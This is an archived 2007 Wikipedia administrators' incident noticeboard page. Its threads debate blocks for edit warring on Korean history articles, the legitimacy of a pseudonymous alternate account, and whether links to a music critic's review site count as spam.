Wikipedia:Administrators' noticeboard/Incidents

Administrators' noticeboard/Incidents
This page is for urgent incidents or chronic, intractable behavioral problems. Before posting: Read these tips for dealing with incivility If the issue concerns a specific user, try discussing it with them on their talk page Try dispute resolution Just want an admin? Contact a recently active admin directly. Be brief and include diffs demonstrating the problem Do not report breaches of personal information on this highly visible page – instead go to Requests for oversight. When starting a discussion about an editor, you must leave a notice on their talk page; pinging is not enough. You may use {{subst:ANI-notice}} ~~~~ to do so. Closed discussions are usually not archived for at least 24 hours. Routine matters might be archived more quickly; complex or controversial matters should remain longer. Sections inactive for 72 hours are archived automatically by Lowercase sigmabot III. Editors unable to edit here are sent to the /Non-autoconfirmed posts subpage. (archives, search)
Start a new discussion

Bullying on the Preity Zinta nomination by Sarvagnya (talk · contribs · logs)

I have to say that this vote appears invalid by Sarvagnya on Wikipedia:Featured article candidates/Preity Zintaand is done out of spite within an hour following a confronation on the article -please see Shahrukh Khan history. It looks very suspicious to me that the above user came across this page after checking the contributions of User:Shhhhh following the edit war on that page and visisted the page specifically to give the "strongest oppose possible" -I find this utterly unacceptable that somebody would delibrately not give a genuine review of an article and attempt to jeopardise it because of a previous confrontation elsewhere. User:Shhhhh was blocked following the incident on that page but I don't think admin were getting both sides to the story. ♦ Sir Blofeld ♦ ^"Talk"? 12:44, 3 November 2007 (UTC)

Good friend100 (talk · contribs · logs)

This user was indefinitely blocked by myself earlier this year after multiple breaches of the 3RR. I unblocked them to participate in the arbitration over liancort rocks which was recently closed. A condition of the unblock was that they would comply with a strict 1RR. Since then they have received multiple warnings (see their talk) and have been blocked twice. I feel that they are not improving as an editor and following the most recent discussion [1] at AN3 concerning their most recent block I feel that enough is enough. I would very much appreciate feedback on whether we should now reinstate the indef block. Spartaz ^Humbug! 18:21, 28 October 2007 (UTC)

Please block the user indefinitely. Positive things can be said about this user, and I have not lost good faith completely. However -- as Spartaz says enough is enough. Ultra-nationalistic users such as the one mentioned here (and another one who has been banned for a year) have done an incredible amount of damage in the Chinese, Korean, and Japanese history and culture articles. Honest editors should not have to put up with the ultranationalist cabal that has waged a totally lame war on the Korean articles of this project for 2-3 years. Users such as this have done some good things, but they have totally ruined the atmosphere in the Korean articles. On Friday Jimbo wrote that we should not have to put up with these anti-project users any longer. I think Jimbo wasreferring to users such as Goodfriend100 and several other ultranationalist disruptors. Let's take a tougher stance on the incredible amount of disruption and foolishness that takes place in the Korean articles, especially. Let's show them the door. Please forgive me for using an anon IP for this message, but as I mentioned the atmosphere is totally poisonous and has been for a looooong time -- I fear some kind of retribution on me and my contributions if I use my username here. Why should we put up with this? 74.12.78.124 18:38, 28 October 2007 (UTC)

I strongly endorse an indefblock. This user has a long-standing history of edit warring. Wikipedia should not tolerate this. I urge the community to consider this user banned. Heimstern Läufer (talk) 19:16, 28 October 2007 (UTC)

Likewise. I'll upgrade my initial block to indefinite, pending any objections. Anthøny 19:21, 28 October 2007 (UTC)

I think Spartaz has a point elsewhere, and Goodfriend100 seems to indicate that s/he wasn't aware that the 1RR restriction was still in force, as the arb case was concluded. (Although it would have been smart to seek clarification of this before edit warring.) I say block Goodfriend100 for 3 days now for edit warring. Also, make it crystal clear that the 1RR restriction is continuing indefinitely (or until further notice), and, for anything other than obvious vandalism, s/he should report rather than revert. -- But|seriously|folks  20:35, 28 October 2007 (UTC)

I respectfully disagree with But Seriously Folks as per the reasons I have listed above. How many good editors have been chased away by this user and his nationalist cabal? We are long past the point at which we should give the user one more chance. This user and others like him/her are making a mockery of wikipedia and there here is no end in sight to the ongoing blatant disregard and ceaseless disrespect for Wikipedia policies and members of the wikipedia editing community. Wikipedia is not a nationalist battleground. Please re-institute the indefblock. 74.12.78.124 20:52, 28 October 2007 (UTC)

This user has received multiple last chances, and was warned at the start of his last one-week ban that any further edit warring would result in an indef ban. Even so, he chose to edit war on one of the most controversial articles immediately. Even if he wasn't aware of the 1RR, he reverted three times on that article, and going up to immediately hit your limit for the day (without summaries, without discussion) is still not constructive editing. He is interleaving his "I've learned my lesson" comments with "I haven't done anything wrong" (which is kind of contradictory) and has done so on all of his previous blocks as well. We're into double digits on his block count now. --Cheers, Komdori 21:03, 28 October 2007 (UTC)

Looking at his talk page in his responses, it is painfully clear he does not consider what he did (undoing actions of other editors repeatedly) to be edit warring, and that if unblocked he would thus clearly do the same action again. Furthermore, he suggests that he was not bound by the 1RR because he was undoing vandalism (in all cases the changes clearly being a content dispute). It seems that if he were to be given an eleventh chance, he'd gladly do it all over again and we'd be back here in a few days. --Cheers, Komdori 21:11, 28 October 2007 (UTC)

Most likely, but then there won't be any question that the restrictions applied. I agree, by the way, that this was a content dispute, not vandalism. -- But|seriously|folks  23:12, 28 October 2007 (UTC)

I have crossed paths with this editor several times. The last few times he was brought here for discussion of an indef block I didn't leave any comments in the hope that he truly was improving. However, I really don't see this being the case considering his actions following the expiration of each of his blocks. I would suggest the indefinite block go in place not for the most recent violation of the 1RR imposition, but for his latest example of continual editing warring and violation of WP:OWN, as he showed his tendency to refuse changes to be put forth by others. He was very much aware that any more edit warring would land him an indefinite block, even after the arbcom case was over, since during the most recent block several actually mentioned [2] [3] [4] that to him on his talk page--at least one doing so after the arbcom case was finished. Furthermore, the editor himself offered to have an indefinite block be placed on him if he ever edit warred again. Then when his block expired, he did. —LactoseTI^T 23:49, 28 October 2007 (UTC)

You never want to get rid of the carrot for good behavior. I recommend against indefinite block. 4 months, ok. 6 months, whatever. 9 months, really? but ok. This is assuming the user does edit using full sentences and not profanity. WP6 00:44, 29 October 2007 (UTC)

I strongly oppose an indefinite block, if this is in response to Goodfriend's two recent reverts at Goguryeo. The reverts were on edits made by this annon IP which are as follows[5][6]. In these edits, stable contents built upon a very difficult consensus were unilaterally deleted with no discussion whatsoever. I believe reverting the changes were made in good faith and contributed to maintaining the integrity and stability of the article, and do not constitute edit warring. Cydevil38 01:30, 29 October 2007 (UTC)

Response to 74.12.78.124's assertion of ultranationalism - I strongly ask that the admins and editors here to take a look into articles on Goguryeo in other respectable encyclopedias and reliable sources, and perhaps you can see what's seriously wrong here. Both LactoseTI and Komdori have been making claims just recently that "Goguryeo is a part of Chinese history"[7][8], but what reliable sources back their claims? What about LactoseTI's unilateral categorization of An Jung-geun, a Korean national hero, as a terrorist? Why INSIST that An Jung-geun was a terrorist, when it is very obviously offensive to Koreans and "independent activist" or "political assassin" are good enough definitions for this individual? Can Goodfriend's reverts be really defined as ultranationalism when he was restoring material where supportive western(i.e. non-Korean) reliable sources are abound? Please have the courtesy of taking the time to look at other secondary and tertiary sources on this subject, and decide for yourselves where the extremism(e.g. ultranationalism) really lies. Cydevil38 01:30, 29 October 2007 (UTC)

One revert perhaps, but the second one, when knowing he was already on notice to not edit war after the anon reverted him? Then, a third as he reverts another editor after that? We've got about a dozen blocks in five months (including two with the editor on vacation), essentially all for the same reason: edit wars on the same articles. This after several administrators actually do so much hand holding as to come in and say, essentially, "Your block is about to end, here's a reminder--don't edit war again or you will be permanently banned." Blocks of increasing duration have failed to elicit a whit of change, and at this point giving more and more chances simply shows the hollowness of any further threat. Looking at his editing history I see essentially no constructive edits to any articles, just reverts or re-insertion of text that someone else reverts. If we want to avoid a permanent ban, perhaps a topic ban, such as all articles dealing with Asia. I feel bad because I think that often the editor means well, but loses self control when it comes to edits about this topic. One might say the majority of his edits are about Asia, but then so are the majority of his edits involved in edit warring. This is at least the third time we've been here discussing the appropriateness of a permanent ban for this editor. —LactoseTI^T 01:49, 29 October 2007 (UTC)

Komdori's report cannot be used against me because it shows nothing about me edit warring at all. Simply undoing an anon user's deletion of text in the articles doesn't mean that I'm edit warring. I explained above (with links) that the diffs don't even match.

Also, Komdori and LactoseTI are making this into a bigger problem than it is. Instead of watching me behave for a week or two, they immediately make an excuse about a couple reverts that I did, and now they are accusing me of "edit warring", which I definitely did not do. They are twisting their comments as if I was violating policies immediately after my one week ban. That is not true. I would like to ask you to put all this up at ANI because I'm just disappointed how Komdori and LactoseTI are so bold with accusing me when they don't even have any significant proof.

LactoseTI keeps trying to hammer in that I was edit warring. I was NOT! I am really shocked at how boldly this editor lies about my reverts. ALL the reverts were isolated from each other and NONE of them had to do with the same person or the same information continuesly. Also, how can I be edit warring when I'm restoring information that was previously deleted? I know I'm starting to rant, but it makes me angry when others lie about what I did. {written by Good friend100, posted by Heimstern} 19:04, 29 October 2007 (UTC)

This user is a chronic violator of 3RR. An indef or a year-long block is due for good. Tons of users have been banded for much less disruptive behavior than his. Hermeneus (user/talk) 20:22, 30 October 2007 (UTC)

I'll describe the diffs that Komdori posted that he thought I was edit warring.

First diff shows that I undid an anon user's deletion of several important sentences in the article.

Second diff shows that I restored the word "major" to the article when describing Goguryeo as a "major regional power". It certainly was a major power, and I saw no reason for an anon to delete that so I undid that as well.

Do the diffs even include the same reverts? No. Did I repeatedly undo relevent edits without discussing? No. These two diffs are the diffs that Komdori listed on his report and frankly, his argument is extremely weak. His base of action comes only from the fact that I was on 1RR parole. However, the reverts were isolated and the report doesn't show a clear case of edit warring so the 1RR can't apply. I only reverted once on each completely separate edit. Also, some of the administrators were correct in assuming that the length of the 1RR parole was not clarified. I was aware of the 1RR parole after the one week ban. Yes, I was going to ask Spartaz about it, but then I got blocked. Good friend100 19:33, 29 October 2007 (UTC)

Another thing that has lighted upon me is that I have made reverts and undid anon users' deletions in the past. Yet Komdori or LactoseTI have not taken those previous reverts to 3RR. Why? I interpret their prejudice in filing reports as a bold attempt to hammer me out of Wikipedia. Really, after the one week ban, I began to edit normally, and when I got blocked, frankly, I couldn't pull out of my head of any recent edit warring I had done out of the few edits (save Japanese invasions of Korea (1592-1598)) I had made after the one week ban. But what they are trying to do is not just vigilante justice to help hunt down bad seeds. They have taken this to a personal level to indef block me, which I really see as not fair on their part. Regardless of my trail of edit warring, they should assume good faith until the last moment (that is, up to the point where I get indef banned for edit warring). For all the other blocks, they were right about me edit warring. But for this block, it isn't. The report on me is just wrong.

When I related this information to Komdori, he said he was simply keeping an eye on me, since I have been a troublemaker in the past. I agree that he can keep an eye on me, I don't mind. But picking on a couple isolated reverts and trying to formulate a ban on me using those small reverts is just going overboard. Am I ranting again? I'm sorry if you feel that I'm spitting nonsense out of my mouth. But again, wouldn't you get angry if somebody starts to talk about your conduct when they don't have hard evidence that you were breaking the rules? I'm simply trying to explain my side of the story about the diffs and all. Thank you, Heimstern, for providing a vehicle for me to get my comments through. Good friend100 19:38, 29 October 2007 (UTC)

So where are we on this? Are admins willing to make Good friend100's block indefinite? Perhaps more importantly, are admins willing to unblock if this happens? Heimstern Läufer (talk) 03:06, 31 October 2007 (UTC)

Disagree with Indef at this time. Run him through ArbCom again (or RfC/RfM) if necessary. - Penwhale | ^{Blast him / Follow his steps} 06:30, 31 October 2007 (UTC)

I'm thinking I'll take you up on that ArbCom suggestion. Heimstern Läufer (talk) 07:35, 31 October 2007 (UTC)

Please excuse me to write this with my ip address but I don't want to get in a trouble to be a next prey of the notorious JPOV pushers like Komdori, LactoseT1, Endroit, Op2 and others. Their hatred feelings against Koreans have been noteworthy on every Korean related articles. They tend to suddenly jump into articles regardless of the previous discussions and start reverting edits without any consensus. If other editors requested them to add verifiable sources, they simply reject as if the other party was proclaiming completely ridiculous ideas and they were judges. With their disruptive behaviors, editors who really engaged in the article were out of the league. I also have seen them being frequent subjects of 3RR report, incident reports, and arbitration cases. They always insist that they have a NPOV and push the other party to have a KPOV, but that is a blatant lie. Since I've not seen any good contribution done by them. I think administrators shouldn't listen attentively to the people who have so many edit wars with Korean editors. If Good friend100 was really blamed to be a disruptive user, they all might be equally responsible for the blame. Their goal is to kick out Good friend100, or other Korean users out of here. Japanese editors are so eager to push their POV every wiki place.

Good friend100 has been engaging in a variety of Korean history related articles from being distorted by them. I thank him with my heart for at least one person trying to protest against the JPOV pusher's irrational behaviors. I haven't met with any of them because I have to protect myself from being a target. I object to to the idea of Good friend100 indefinitely being blocked. The JPOV editors are always skillfully getting away from any punishment, and it is very weird to me. Please mind that Japanese editors are over 9 times than Korean editors any Wiki place. In my thought, Good friend100 didn't violate 1RR patrol rule. Komdori is so cunning to take advantage of Good friend100's situation. That action can hardly refers to a good faith.--72.79.54.106 11:41, 31 October 2007 (UTC)

• Once we take out the users who already have a beef with Good friend100, there does not appear to be a clear consensus for an indefinate block at this time by independant reviewers. While I fully appreciate the difficulties that this editor has caused on Korean articles the point of independant review is to ensure that a ban is fair and appropriate & I'm not seeing a clear consensus for this to be effected at this time. I'm inclined to suggest that we go back to an earlier suggestion which is to reaffirm the 1RR restriction and unblock Good friend100. If they can stick to this, then well and good and after a suitable period of good behaviour (say 6 months) they can apply on ANI to have their 1RR probation lifted. They can then reblocked indefinitely immediately they breach this probation. Does this seem a reasonable compromise that everyone can agree to? I also see no point taking this back to arbcom. The user has just been through an arbitration case and I really don't see the point of dragging this out any further. If they behave they can continue to edit. If they misbehave they get kicked immediately. it seems to me that there is nothing to adjudicate from this. I'm willing to mentor and monitor their conduct if closer oversight is required. Spartaz ^Humbug! 11:43, 31 October 2007 (UTC)

Spartaz, I agree with your decision to give Goodfriend100 a last chance. Hopefully, Goodfriend100 will make good use of it. Cydevil38 11:59, 31 October 2007 (UTC)

• • Suggestion, not decision. Spartaz ^Humbug! 12:50, 31 October 2007 (UTC)

If I'm too close to the situation (as several other users both for and against him are, along with WPC who's handful of edits all essentially are clustered right around his comment here), I'd be happy to recuse myself. In any case, one thing that concerns me to a certain extent which I think is at the core of the issue and still has not really been addressed: he has explicitly stated that he does not believe he was edit warring, and by extension would not hesitate to edit in the same manner again. One cannot discount an edit as "unworthy" simply because it comes from an anonymous ip. To then continue by reverting Cydevl's contribution just illustrates his general attitude toward editing. To address a point of confusion of whether or not he knew his 1RR parole was still in place, he also explicitly offered to have himself blocked permanently if he ever edit warred again. After 10 blocks for edit warring over the span of a few months, he should at least know the basic definition. If not--if he gets blocked twice even after receiving "last chance, you will be blocked permanently if you edit war again" notices--there really isn't much hope. There is perhaps some lack of communication here since it seems people keep plainly stating to him that he will be blocked permanently if he acts in a certain manner again, and he keeps plainly stating that he will continue to do (and does) that very action again.

If a permanent block or topic ban are inappropriate, one suggestion might be to expand the 1RR to be 1RR collectively per day, instead of per article as it hasn't been effective (since he has received two blocks when on it already). Recently this editor has been going around hitting his 1RR limit on many articles and then stopping editing for the day, making a large percentage of the edits reverts. For someone prone to edit warring, this shouldn't be tolerated any more than someone going around and hitting their "limit" of three reverts per day. I'm not suggesting this to be vindictive (ignore the suggestion if you like), but it might give the editor pause to consider if what is being written is really worth reverting. I really don't have much of a problem with Good friend, and I think he could make some valid contributions if he can gain a bit of self-control (he edited much less disruptively before his first few blocks), but it has been tiring over the past few months to have disruption after disruption. —LactoseTI^T 13:58, 31 October 2007 (UTC)

Wikipedia either needs a better way to handle edit warriors or the community needs to find a way to use the existing methods better. This has gone on for far too long and will apparently be allowed to continue going on. All right, one more chance for Good friend100, but further edit warring should lead to an immediate indefblock and to arbitration if the block doesn't stand. Heimstern Läufer (talk) 18:07, 31 October 2007 (UTC)

Just one clarification: Are we in agreement that Good friend100 is in fact still under his 1RR parole? I had assumed that the parole was indefinite, much as the block that it replaced was. Heimstern Läufer (talk) 02:26, 1 November 2007 (UTC)

Oh yes, I wouldn't even think about unblocking without this in place. I'm going to leave this up a little longer before enforcing this. Spartaz ^Humbug! 06:47, 1 November 2007 (UTC)

• Good friend100's block by AGK for the 1RR violation has expired and Good friend100 has sought guidence on the terms of the editing restrictions. I have written up my views on this on his talk page [9]. Does anyone disgaree with these terms? Otherwise, he is free to edit based on these. Spartaz ^Humbug! 21:08, 2 November 2007 (UTC)

robertchristgau.com spam - 2000 links

Resolved

 – The source is agreed to be a notable music critic.

Sheffield Steel^talk_stalk 18:48, 2 November 2007 (UTC)

Please review this collection of over 2000+ outbound links from Wikipedia. This person is apparently a semi-notable music reviewer, but there are dozens of notable music reviewers. On most album infoboxes, we'll list reviews from major organizations. I found an IP adding these links while doing some RC patrol, and then found all these. As we don't link to personal sites on any music reviews besides this site, shouldn't these all be removed as spam? • Lawrence Cohen 06:40, 31 October 2007 (UTC)

• As it's the music critic's website and not my site, how can these be considered personal sites? Or do you just don't like someone having a different opinion of a band than you do? I won't say anything in favor of one view or another, but album articles should represent a world-wide view and not just blind praise of the band being reviewed. (72.153.117.99 06:44, 31 October 2007 (UTC))
  • As just mentioned on Cohen's talkpage, Christgau is a veteran music reviewer who is published online and in print, including Esquire and the Village Voice. Cohen began to arbitrarily remove links to Christgau's reviews from articles after being challenged by the above IP over accusations of vandalism and linkspamming. Posting here instead of engaging the IP in meaningful conversation (at Talk:Korn#Professional_reviews) shows an alarming tendency to forgo good faith consideration. The question whether to include links to any of Christgau's reviews is an editorial one, it can be and should be solved without administrative intervention. ˉˉ^anetode╦╩ 06:48, 31 October 2007 (UTC)

All my dozen removals are now undone by myself, pending review here by uninvolved admins. My concern is that we apparently offer no other "personal" websites of other reviewers on these articles which I can see. So, by including robertchristgau.com in the infobox on 2000+ articles, we are by defacto giving this person weight on the level of Rolling Stone, and other major music news outlets. That seems oddly wrong, and the links look and feel like spam in this vein. • Lawrence Cohen 06:55, 31 October 2007 (UTC)

• The same argument could be made for excluding film reviews by Roger Ebert. I think that it is difficult to make a fair judgment on these links unless you are familiar with the field of music journalism or are thoroughly acquainted with Christgau's career and the syndication of his review columns. Coincidentally, AN/I is not the best noticeboard for recruiting editors with the requisite background in dealing with music-related content disputes. I suggest you try Wikipedia talk:WikiProject Music. ˉˉ^anetode╦╩ 07:11, 31 October 2007 (UTC)
• Whilst I would normally be wary about linking to personal review sites, given Christgau's standing in the music journalism world, I can't really see a problem with these links. ELIMINATORJR 07:58, 31 October 2007 (UTC)
• You don't get music critics more important than Christgau. These links are on the same level of importance as IMDb, BoxRec, etc. east.718 at 17:02, 10/31/2007
  • I couldn't agree more. Given Christgau's credentials, his web site can hardly be considered a "personal website". This may not be the best place for this discussion but the mass removals are unneeded. RxS 21:57, 31 October 2007 (UTC)

OK, sorry for the confusion. I didn't initially realize the scope of respect in music journalism this fellow has, and have researched it more off of Wikipedia. Someone can tag this resolved. • Lawrence Cohen 13:54, 1 November 2007 (UTC)

User:Privatemusings

I have blocked Privatemusings (talk · contribs · deleted contribs · logs · filter log · block user · block log). I have given a lengthy explanation on the talk page. Basically, having registered an alternate account in order to contribute to a heated and contentious debate (acceptable) he has stepped outside those bounds to edit-war over links to a blog whihc contains the usual bullshit allegation about SlimVirgin. Whether or not the blog is acceptable in the article, it is not acceptable in my view for this editor to operate what would appear to be good hand / bad hand accounts in content disputes. Several people have expressed acute discomfort about Privatemusings' editing patterns, including this:

• http://en.wikipedia.org/w/index.php?title=Robert_Black_%28professor%29&diff=167542856&oldid=167537969
• http://en.wikipedia.org/w/index.php?title=Robert_Black_%28professor%29&diff=167547955&oldid=167545420
• http://en.wikipedia.org/w/index.php?title=Robert_Black_%28professor%29&diff=167724429&oldid=167701098
• http://en.wikipedia.org/w/index.php?title=Robert_Black_%28professor%29&diff=167763380&oldid=167759942
• http://en.wikipedia.org/w/index.php?title=Robert_Black_%28professor%29&diff=167978680&oldid=167967496

and here supporting an earlier revert by a Jon Awbrey sock:

• http://en.wikipedia.org/w/index.php?title=Robert_Black_%28professor%29&diff=167515431&oldid=167507361

Enough is enough, I think. Guy (Help!) 23:00, 31 October 2007 (UTC)

Agree that the account was no longer being used to contribute to a contentious debate, instead to edit war, and deserved to be be blocked. I note you blocked with autoblocks on. I suggest you unblock and reblock with the autoblock disengaged. Neil ☎ 23:12, 31 October 2007 (UTC)

Maybe tomorrow. The main account holder could possibly use an enforced reminder about acceptable behavior. As long as he doesn't post unblock, he won't give away who he is/was. Thatcher131 23:21, 31 October 2007 (UTC)

That was an oversight on my part, so yes I will fix it. I've no desire to give even the slightest appearance of being punitive here. I think that the user got carried away and forgot himself, nothing more. Guy (Help!) 23:36, 31 October 2007 (UTC)

OK, fixed. Guy (Help!) 23:37, 31 October 2007 (UTC)

Thanks Guy. Do we really have to spatter the user page with a "haha we got you" indef blocked template? Neil ☎ 23:44, 31 October 2007 (UTC)

Endorse block, using an "alternative account" just to edit war, sorry but no. Jbeach ^sup 23:50, 31 October 2007 (UTC)

Using an alternative account for hot topics is explicitly allowed. "If you want to edit a "hot" or controversial subject you may use a sock puppet so long as you do not use any other account to edit the same subject or make it appear that multiple people support the same action". No one's claiming PM's being blocked for abusing sock puppets. --Alecmconroy 09:53, 1 November 2007 (UTC)

Definitely a positive application of Jimbo's new 'take no less hassle from trolls' attitude. good block. ThuranX 00:09, 1 November 2007 (UTC)

I have been forced to protect PM's user talk page. See the edit history there, and the reasoning will be self-evident. --Jeffrey O. Gustafson - Shazaam! - <*> 01:22, 1 November 2007 (UTC)

I have no desire to evade a ban, so suffice to say I consider the behaviour of involved editors to be questionable at best. I entreat other uninvolved admins to evaluate the situation, and hope this comment can remain. I won't post again until at least my talkpage is unprotected. Many Thanks, Privatemusings 02:22, 1 November 2007 (UTC) —Preceding unsigned comment added by 203.214.156.114 (talk)

So I'm reading through this again, and while I agree with the greater substance of this block, in that PM has gone from contentious high end Arbcom/admin stuff to editing regular, contentious articles. That said, the edits in the list above reflect the core of the difficulties involved in the EL debates. Is that site being discussed in any particular location? It does certainly seem to have credibility overall for the topic, but due to that singular section, becomes objectionable. I'd like to see the discussion in action, as might others interested in both topics. Anyone got a link? ThuranX 04:03, 1 November 2007 (UTC)

I don't understand. Where in WP:SOCK does it state that participation in discussion is legitimate, but the moment that contentious editing is involved, its illegitimate? Failing that statement in policy, I don't see how this block can stand. Does JzG wish to confirm that PM's "good hand" account is also participating in the same content dispute simultaneously? Because that is abusive, and the only justification for the block. Relata refero 09:35, 1 November 2007 (UTC)

OUTRAGEOUS

UTTERLY UNACCEPTABLE. Completely unbelievable. Private Musings has been a polite and kind contributor to the situation, and his anonymous mediation was extremely helpful in reaching the solution that was reached at WP:NPA. PM has always been upfront about being a sockpuppet, and as this block shows, he has good reason to fear that his connecting his view on BADSITES to his main account would make his wiki-life a living hell. WP:SOCK is quite clear that socks are legitimate in cases like this.

The so-called "edit warring" isn't much of a war at all-- it's a content dispute, and one that is largely resolved. Growing consensus on multiple pages has come down in support of links of this sort in general, and the article's talk page shows substantial support for this links in particular. PM's edits were supported by consensus.

And if his edits look repetitive, it's merely because he was combating seven edits worth of vandalism by an indefinitely blocked user, Throwawayarb, who was using the sockpuppet MOASPN to evade a block. Reverting vandalism by an indefblocked user is NOT edit warring, and you can't with a straight face say that this is a case of ban-worthy edit warring. The fact that the blocking user is someone who has vocally disagrees with blockee about the content dispute only makes the block look even more indefensible.

This is a travesty. We all know PM is not being blocked for "edit warring"-- his edits just don't meet the standard. at is that links of this We all know PM isn't being blocked for being a sock-- WP:SOCK explicitly endorses PM's actions. PM is being blocked for advocating a position that the blocking admin disagrees with.

This is the sort of thing someone should be desysopped over. --Alecmconroy 09:09, 1 November 2007 (UTC)

I think a less shrill objection with more diffs would be more convincing. I support the block. - Jehochman ^Talk 09:57, 1 November 2007 (UTC)

I apologize for the shrillness, this action just sorta confirms my worst fears. All through the Attack-Site Arbcom case, shrill lunatics tried to say BADSITES was just about a clique of bullies trying to use wikipedia as a platform to bully others. I always told those people they were crazy-- that everyone on all sides was acting in good faith and the pro-BADSITES people were just trying to protect the rights of all to contribute to Wikipedia using a pseudonym. This block, however, demonstrates to me that in at least for one admin doesn't give a damn about the right to edit pseudonymously if you have a disagreement with him.

I just really didn't want this to be true of Guy, or anyone else, ya know? I wanted us all to be bigger than that. I'm pretty devastated to see him act this badly. --Alecmconroy 10:13, 1 November 2007 (UTC)

Then try talking with Guy civilly. Maybe there is more information that Guy can share with you. - Jehochman ^Talk 10:18, 1 November 2007 (UTC)

My ears are open, and I have contacted Guy about this. But the more important discussion now is going to be how we handle Guy's behavior. --Alecmconroy 10:58, 1 November 2007 (UTC)

The WP:SOCK policy says:

• Use of sock puppets is discouraged in most cases.
• The reason for discouraging sock puppets is to prevent abuses such as a person voting more than once in a poll, or using multiple accounts to circumvent Wikipedia policies or cause disruption.
• If someone uses multiple accounts, it is recommended that he or she provide links between the accounts, so it is easy to determine that they are shared by one individual.
• Until a week ago the policy also said: Multiple accounts should not be used as a way of avoiding the scrutiny of your fellow editors by ensuring you leave no audit trail.[10]

While I vocally opposed Privatemusings' use of a sock account to write policy, I did not seek to have the account blocked. But using the sock account in a content dispute is different. The account is now being used in disruptive dramas that don't further WP's goals. No wonder the user doesn't want his main account tarred by his activities. I've mentioned it before but I think that using a pseudonym to defend the outing of another user is hypocritical. He did so hypothetically on a policy page, but actually on a main space page. While I don't suggest outing him or identifying his main account, I do suggest that there is no good reason for him to hide behind a double veil while pulling away the veils of others. He can still edit under his main account, and comment on any issue. This isn't an editor ban, only an account block. ·:· Will Beback ·:· 10:15, 1 November 2007 (UTC)

We should also compare the block of Privatemusings to the recent block of User:MOASPN and related accounts. The two cases appear to share similar behaviors: linking to an outing site and using a sock to make contentious proposals. I'd ask those who oppose this block if they also oppose the block of MOASPN. ·:· Will Beback ·:· 10:28, 1 November 2007 (UTC)

The PM account has not be used in disrupting dramas. The account has been used in valid policy and content disputes, and in EVERY case where there's been a dispute, arbcom & community consensus has ultimately sided AGAINST GUY and WITH PM. I work very very hard to WP:AGF, but it's very hard to see this as anything more than retribution. That he didn't even take the time to get an uninvolved admin to do the block makes it almost impossible to see this as anything but retribution. --Alecmconroy 10:34, 1 November 2007 (UTC)

Balls. The account was being used to edit war over a (much discussed) blog link on the Robert Black (professor) article - not what the original intent was. Having a seperate unconnected sock account to discuss and contribute towards potentially contentious policy is one thing, and what the account was originally being used for. Using it to edit war over knowingly contentious content is another - as soon as that happens, you don't have the right to use a single purpose sock account to edit war. Neil ☎ 11:17, 1 November 2007 (UTC)

WP:SOCKS disagrees with you. "If you want to edit a "hot" or controversial subject you may use a sock puppet so long as you do not use any other account to edit the same subject or make it appear that multiple people support the same action."

And even if it were true that PM had somehow accidentally violated WP:SOCKS, the solution is to start a discussion about whether his actions were consistent with WP:SOCKS-- a policy he has worked hard to comply with. If it emerged that he had accidentally misread a minor detail of WP:SOCKS, I'm sure he'd apologize and refrain from such action in the future.

The solution is NOT to jump straight to an indefinite ban. PM, both as PM and as his true identity, is a very respected editor who's done a lot to help us find consensus over at NPA. He's made many many valuable contributions. An indefinitely ban, if it stands, is just a transparent attempt to silence him--- or at least to silence him from speaking pseudonymously . --Alecmconroy 11:27, 1 November 2007 (UTC)

Pedantry first - a ban is not a block is not a ban. The account, Privatemusings, is blocked. The user behind the PM account is not banned You block accounts, you ban the person behind the account. If you really want to wikilawyer, though, you need to read the part of WP:SOCK about "good hand, bad hand" accounts. The PM account had become a bad hand account being used to edit war. An edit war is, by its nature, disruptive. The PM account was being disruptive. Neil ☎ 11:37, 1 November 2007 (UTC)

a "Bad hand" is an account you use to violate policy. Do you really believe PM's four measely edits, over three days, to revert a vandal who was using a SOCK to circumvent a ban, constitute a "disruptive edit war" which merits an indefinite block, rather than a warning? PM's edits reverted a vandal, are supported by consensus, his version is STILL the current version, and were examples of "Defending the Encyclopedia", not "disruptive edit warring".

It's a trumped up charge, and Guy should be ASHAMED. It's like that joke about racism in the US South, where a totally drunken white driver crashes into an african-american pedestrian, and when the cops arrive, the wounded pedestrian is sent to jail for jaywalking. PM has been an icon of good editing behavior--- his only real "crime" is that when Guy and PM were participants in the BADSITES arbcom case, PM's side "won". ---Alecmconroy 11:48, 1 November 2007 (UTC)

Alec, I know the identity of PM's other account(s). I have checked very carefully the histories of both, and this is not, in my considered opinion, a valid use of an alternate account. Meta debate would have been OK, but not the content edits and link advocacy in respect of content. That crosses the line into good hand / bad hand. The route for appeals is ArbCom, by email. The very small number of individuals with whom I have shared the information does include at least three arbitrators, and one arbitrator has expressed privately that he also sees this as lying outside the bounds of permissible use of an alternate account. So, ArbCom is the place for appeals. Oh, wait, CBD has unblocked despite not knowing PM's other account. Way to go. Score one for the troll enablers. Guy (Help!) 11:51, 1 November 2007 (UTC)

Guy - I specifically told you in very strict confidence that I would feel upset and violated at you sharing personal information with any other wiki editors. Did you in fact do just that? I trusted you. I really think it's best I stop now, lest i say something i regret. I am very glad you will escalate this. It is a new low. Privatemusings 12:16, 1 November 2007 (UTC)

That's the really sad part about all this. Until today, I truly believed Guy just really believed in the total sanctity of users privacy. When he objected to PM being able to edit using a pseudonym, it was very disheartening. If it turns out to be true that Guy has started engaged in limited "outings", violating private trust, I'm totally speechless. Not even angry, just.... sad. --Alecmconroy 12:33, 1 November 2007 (UTC)

JzG-- regardless of your personal opinion, I think you know that you are not an uninvolved admin. If PM really is an inappropriate use of a sock account, there's a whole encyclopedia full of people who can make that call. For you to use your admin tools here was a clear instance of using admin tools to gain the upperhand in a dispute.

Now, you say you have secret evidence the PM account is inappropriate-- all well and good. Send it to arbcom. But if you failed to recognize something as simple as "do not indefinitely block someone you are in a dispute with", you're clearly far too close to this issue for us to trust your judgment about more complex issues like whether PM account is inappropriate. --Alecmconroy 12:09, 1 November 2007 (UTC)

